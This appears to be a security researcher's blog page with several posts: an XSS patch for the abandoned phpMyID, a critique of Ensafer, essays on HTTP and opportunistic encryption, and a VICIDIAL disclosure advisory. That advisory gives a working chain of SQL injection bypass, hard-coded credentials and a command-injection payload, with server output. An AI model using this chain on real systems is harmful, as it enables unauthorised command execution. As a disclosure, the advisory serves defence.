Adam Caudill

Developer, security researcher, and technical elitist with a strong interest in privacy and journalism.

phpMyID: Fixing Abandoned OSS Software

phpMyID is a simple solution for those that want to run their own OpenID endpoint - the problem is that its author stopped maintaining the project in 2008. Despite this, there’s still quite a few people that use it, because it’s the easiest single-user OpenID option available.

Unfortunately, the author didn’t follow best practices when building the software, and as a result multiple security flaws were introduced. In 2008, a XSS was identified and never fixed (CVE-2008-4730), in the years since then it seems the software has been below the radar. While conducting a pentest I discovered a previously undocumented XSS (CVE-2014-2890) - which left me with a dilemma - what to do about it?

Looking at the code, I found a couple more potential XSS vulnerabilities - so the application clearly needed help, and if the author won’t do it, somebody should. Ethically, it seemed wrong to disclose the issue but leave users to fend for themselves; full disclosure is normally used to push a vendor into acting - but in this case it’s assured that there won’t be a vendor response.

Fixing The Code

One good thing is if a OSS project is abandoned, anyone can prepare patches to fix the issues. So, that’s what I did. I’ve committed fixes for both CVE-2008-4730 and CVE-2014-2890, as well as a couple potential issues. In both cases, the fix was easy:


@@ -439,7 +439,7 @@ function checkid ( $wait ) {
    if ($trust_root != $return_to) {
        // the urls are not the same, be sure return decends from trust
        if (! url_descends($return_to, $trust_root))
 -          error_500('Invalid trust_root: "' . $trust_root . '"');
 +          error_500('Invalid trust_root: "' . htmlentities($trust_root, ENT_QUOTES) . '"');



@@ -568,7 +568,7 @@ function checkid_setup_mode () {
  function error_mode () {
 -      ? wrap_html($_REQUEST['openid_error'])
 +      ? wrap_html(htmlentities($_REQUEST['openid_error'], ENT_QUOTES))
        : error_500();

I’ve only given the code a quick once-over, so there may be other issues - if I find time for a more thorough review I may commit additional fixes.

Status of phpMyID

I’m not taking over the maintenance of the project, I simply don’t have time to do the cleanup needed to bring it up to reasonable standards. I’d love to see somebody with a little time to invest cleanup the code and add more defensive measures. It needs some help, that’s clear.

One of the things I’d love to see fixed is the way the user’s password is stored - it’s currently stored in the MyID.config.php file as a MD5 hash - making brute-forcing entirely too easy. Hopefully this Internet Draft will be adopted soon, obsoleting RFC 2617, which will be an easy win to improve the security of the password when in transit. There are many places where the code can be improved by somebody with a little time.

If you are using phpMyID today, replace the MyID.php file with the one here (it also fixes compatibility with PHP 5.4).

Security by Buzzword - Why I Don’t Support Ensafer

Update: I had a call with Ensafer’s CTO, Trygve Hardersen to discuss the issues I brought up, and what they can do about it. First, they updated the site so that downloads are now over HTTPS. He stated that the infrastructure that powers their service is separate from the website, and everything is over HTTPS. They are working on making documentation available, and hope to have the first documents available soon. Once I get a chance to look over their documentation, I’ll post further updates.

Ensafer is an overlay to Dropbox that offers end-to-end encryption, the goal being to address privacy concerns that Dropbox can access user’s files - and thus possibly the US Government (via NSLs, etc.). This sounds like a great idea - end to end encryption is the best way to prevent unjustified surveillance, and I do use a competing product (Boxcryptor), so I support the concept, but what about Ensafer’s implementation - does it provide the level of security desired?

Where are the details?

If you look at Ensafer’s site, you’ll find precious few details on what they are doing - plenty of security buzzwords, but no specifics. Let’s take a look at the one page with details:

Ensafer believes in standards and we don’t use any custom encryption algorithms. Our encryption platform is built on:

2048-bit RSA keys
256-bit AES encryption
2048-bit SSL
PKCS#12 key containers
X.509 certificates

We see some algorithm names - but what about key derivation, or symmetric encryption modes? How about hashing algorithms? How and where is your password stored? There are so many implementation details that are critical for security, yet aren’t talked about at all.

In December of 2012 I started asking about details, they pointed me back to the web site - when I pushed for more, I was told that they were working on a whitepaper to explain their implementation:

More than a year later, I’m still waiting to see those details.

So have they conducted an audit?

Since they haven’t released details publicly, if they conducted an external audit, that would bring some trust. So, recently I asked, and this is what they had to say:

After the delay in getting useful details published, I’m not hopeful that we’ll see the results of an audit in the near future.

TLS & Safe Downloads

I really wish that the lack of details was the only concern - but it’s not. The first thing I noticed is that their web site doesn’t force TLS, so I manually switched to HTTPS, unfortunately the result wasn’t what I was hoping for:

Well, that’s not encouraging. Let’s take a look at the download link:

When you try the same link over HTTPS, it’s even worse:

For a security product, I’d expect the download to be over HTTPS to prevent an attacker from redirecting a victim to a malicious version. This isn’t the kind of mistake I’d expect from people building advanced security tools. When you see issues like this, it’s common to see more problems, so this may just be the tip of the iceberg.

Is it trustworthy?

I would like to say that it’s safe to use, and that it lives up to the promises made - but they haven’t made enough information available for people to make an informed decision. If you add the lack of information with such basic mistakes as not making the download available over HTTPS, it doesn’t instill much confidence. Companies focused on security should know better.

When you make decisions about what tools you use, you have to look at the full picture - and Ensafer is a great example of that. They’ve focused first on a pretty website, adding features - but not assuring trust. At this point, the only evidence of their security is the use of buzzwords.

HTTP Considered Harmful - the Need for Negative Feedback

We all know, and well understand what this means when we see it in a browser:

It means that the connection is encrypted, and that some degree of validation has occurred to verify that the server is who it claims to be. Through the years, users have been taught to trust sites when they see that, or the all too familiar ‘lock’ icon - when users see it, they assume their data is safe.

But what about this?

There’s no lock to tell them they are safe, but there’s also no warning to indicate that the connection isn’t secure. There’s no encryption, no validation, - no protection at all. With HTTP, users are afforded nothing at all to protect them - but we all know that, right? Does the average user understand that though? Do they understand how easily they could be monitored, or how easily traffic can be altered?

The Need For Negative Feedback

Strong negative feedback has long been used in browsers to warn against invalid or expired certificates - but there’s no feedback to warn users of just how dangerous HTTP can be. After a discussion on Twitter, a friend of mine, Taylor Hornby, created a mockup of what could be done in Firefox to warn users:

This provides simple, clear feedback to the user that they shouldn’t trust the site - it doesn’t present an error or anything to interrupt the user, but does make them aware of the risks they are taking.

We, the security community, owe it to users to provide them with useful feedback so that they can protect themselves - providing negative feedback in the browser showing the weakness of HTTP would be a large step in that direction - and to urge site owners to adopt HTTPS as soon as possible.

On Opportunistic Encryption

Opportunistic encryption has become quite a hot topic recently, and blew up in a big way thanks to an Internet Draft that was published on February 14th for what amounts to sanctioned man-in-the-middle. Privacy advocates were quickly up in arms - but it’s not that simple (see here). As pointed out by Brad Hill, this isn’t about HTTPS traffic, but HTTP traffic using unauthenticated TLS; thanks to poor wording in the document, it’s easy to miss that fact if you just skim it.

It’s routine practice for ISPs to MITM unencrypted traffic today; it’s well known that Comcast does it. This practice won’t change once we move to HTTP2, regardless of unauthenticated TLS - the only question is will users know about it.

But this isn’t about that single internet draft, it’s about what this tells us about opportunistic encryption.

We’ve seen many smart people get very upset (myself included) over a misunderstanding about how opportunistic encryption fits into the new HTTP2 paradigm. What does that tell us about how it’ll be perceived in the future?

What does opportunistic encryption buy us?

We can break attackers down into two classes:

  • Active - Will intercept and re-route traffic, at small or large scale.
  • Passive - Will watch what goes over the wire, but is unable or unwilling to interfere with it.

Opportunistic encryption prevents passive attackers from being able to collect data, they will either fail or be forced into an active role (if they are positioned and financed to do so). While many talk about increasing the cost of surveillance for groups like the NSA, I doubt that will create a substantial impact - we know that they are both active and passive today. So they are positioned for active attacks when they so desire, though there may be some reduction of monitoring lower value targets due to increased complexity / resource demands.

What opportunistic encryption doesn’t do

Unauthenticated TLS skips the most vital step in the process - it doesn’t verify that the server is actually the one you intend to talk to, meaning anyone that can control network traffic between you and the end server, can pretend to be the end server, monitoring all traffic. Which is, exactly what we have today with HTTP traffic.

So, you know your traffic is encrypted, what you don’t know is who has the keys, or how many people have seen the traffic. You’re safe from passive threats, but it provides no protection against active threats - but it’s also not intended to.

Should we pursue it?

If people weren’t involved - it eliminates a class of attacks without substantial costs, and forces passive attackers to become active. Overall, that sounds like a win, but there’s a problem: people.

Opportunistic encryption isn’t real security, it doesn’t stand up to active attackers - it provides protection against only a specific type of attack. Real TLS provides protection against both active and passive threats. If people understood this, opportunistic encryption would be fine - but people don’t understand that, that’s clear.

If people see it as a “just works” alternative to real TLS, then the harm it does greatly outweighs the value it provides. It will give a false sense of security, when in reality there is none.

VICIDIAL: Multiple Vulnerabilities

Update: The SQL Injection vulnerability has been assigned CVE-2013-4467, and Command Injection assigned CVE-2013-4468.


VICIDIAL (a.k.a. Asterisk GUI client) is an open-source dialer built on top of the Asterisk PBX. It’s written in PHP, and has a significant number of security issues.

In addition to the open-source project, the company behind VICIDIAL, The Vicidial Group, also offers VICIDIAL in a hosted environment.

At this time, the current release version is still vulnerable. Vendor reports hosted users are on a fixed version. Vendor proposed to release the OSS code in mid-July, as of October 23rd, no update or advisory has been released.

After discussions with other researchers, I have made the decision that after waiting more than 140 days for a release, patches, or an advisory warning users, that the next responsible step is to disclose the issue publicly.

This is not a decision I take lightly, but I believe at this point users of this application should understand the degree of risk involved, and have details so they can take action to minimize that risk.


Tested versions: 2.7RC1, 2.7, 2.8-403a; it is likely other versions are affected.

There are three vulnerabilities that I will discuss here:

  1. Pre-Auth SQL Injection in ./apc/SCRIPT_multirecording_AJAX.php
  2. Hard-Coded User Credentials
  3. Command Injection in ./agc/manager_send.php

There are pre and/or post authentication SQL injection flaws in nearly every file in the ./agc directory. The web portion is split between ./agc (which is the ‘agent’ interface) and ./vicidial (the administrative interface). My review did not include the ./vicidial directory, though a quick glance indicates that there are likely many issues there as well.

There are many other issues; from XSS to a possible DoS by allowing an attacker to write directly to a log file until the attacker has exhausted the free space on the server.

There’s also ./vicidial_mysql_errors.txt - it might be of interest as it contains query parameters.

I will not document all of the issues that I’ve found; partly because I don’t want to take the time, and also because I feel bad for the team at OSVDB - hundreds of entries for the same application wouldn’t be fun.

Pre-Auth SQL Injection

This is your typical, boring, SQL injection:

SCRIPT_multirecording_AJAX.php - Line 44
$stmt="select campaign_rec_filename from vicidial_campaigns where campaign_id='$campaign'";

The $campaign variable is unsanitized and passed directly to the query. This isn’t the best SQL Injection ever, but it demonstrates the issue.

Hard-Coded User Credentials

There are two accounts that are created when you install VICIDIAL that have hard coded passwords, that are used by the software. While these accounts have minimal permissions, they do allow an attacker to get to portions of the code not accessible without a valid user account.


  • VDAD
  • VDCL

Both accounts have the same password: donotedit.

Command Injection

In multiple locations, there are calls to passthru() that do not perform any filtering or sanitization on the input. In this case, we are looking at ./agc/manager_send.php line 429.

Here is the code in question:

if ($ACTION=="OriginateVDRelogin")
  if ( ($enable_sipsak_messages > 0) and ($allow_sipsak_messages > 0) and (preg_match("/SIP/i",$protocol)) )
      $CIDdate = date("ymdHis");
      $SIPSAK_prefix = 'LIN-';
      print "<!-- sending login sipsak message: $SIPSAK_prefix$VD_campaign -->\n";
      passthru("/usr/local/bin/sipsak -M -O desktop -B \"$SIPSAK_prefix$campaign\" -r 5060 -s sip:$extension@$phone_ip > /dev/null");
      $queryCID = "$SIPSAK_prefix$campaign$DS$CIDdate";


To exploit this, the following values must be set:

  • enable_sipsak_messages=1
  • allow_sipsak_messages=1
  • protocol=sip
  • ACTION=OriginateVDRelogin
  • session_name=AAAAAAAAAAAA (or any other value at least 12 bytes long)
  • server_ip=' OR '1' = '1
  • user=VDCL
  • pass=donotedit

The payload is passed in the extension parameter, for my testing, I used the following:

extension=;id;uname -a;

As you’ve probably noticed, the value for server_ip isn’t just a dummy value, it’s taking advantage of a SQL Injection vulnerability on line 285:

$stmt="SELECT count(*) from web_client_sessions where session_name='$session_name' and server_ip='$server_ip';";

This allows us to bypass the check for an active session, and we use the hard coded credentials to get around the need for authentication.

When you execute this, it looks like this:

User-Agent: Fiddler


HTTP/1.1 200 OK
Date: Sun, 02 Jun 2013 23:22:38 GMT
Server: Apache/2.2.21 (Linux/SUSE)
X-Powered-By: PHP/5.3.8
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 291
Content-Type: text/html; charset=utf-8

<!-- sending login sipsak message: LIN- -->
uid=30(wwwrun) gid=8(www) groups=8(www)
Linux linux-0y3h 3.1.10-1.23.1-pae #1 SMP Tue May 21 12:46:34 UTC 2013 (8645a72) i686 i686 i386 GNU/Linux
ERROR Exten  is not valid or queryCID LIN--130602192238 is not valid, Originate command not inserted

As you can see, when you run this, the the returned text from the shell is included in the middle of the body in the server’s response.

Timeline & Vendor Response

The vendor quickly acknowledged the issues and promised quick fixes. As time has gone on, their hosted users received the security fixes, users of the open-source version remain unaware of the issue and unprotected.

  • 6/3/2013 - Vendor notified
  • 6/3/2013 - Vendor confirmed
  • 6/13/2013 - Vendor states first phase of changes complete; began rolling out fixes to hosted users.
  • 6/15/2013 - Requested release timeline.
  • 6/15/2013 - Vendor requests disclosure delay till mid-July 2013.
  • 7/3/2013 - Vendor advises second phase of changes complete and being pushed to hosted users.
  • 8/26/2013 - Requested status update.
  • 8/27/2013 - Vendor advises final phase of changes complete, hosted users update with all security changes. Expects to release OSS code in two weeks.
  • 9/20/2013 - Requested status update.
  • 9/25/2013 - Vendor advises of unrelated delay. Expected to complete work for next release by 9/30.
  • 10/23/2013 - Decision made that further delays not in the public interest.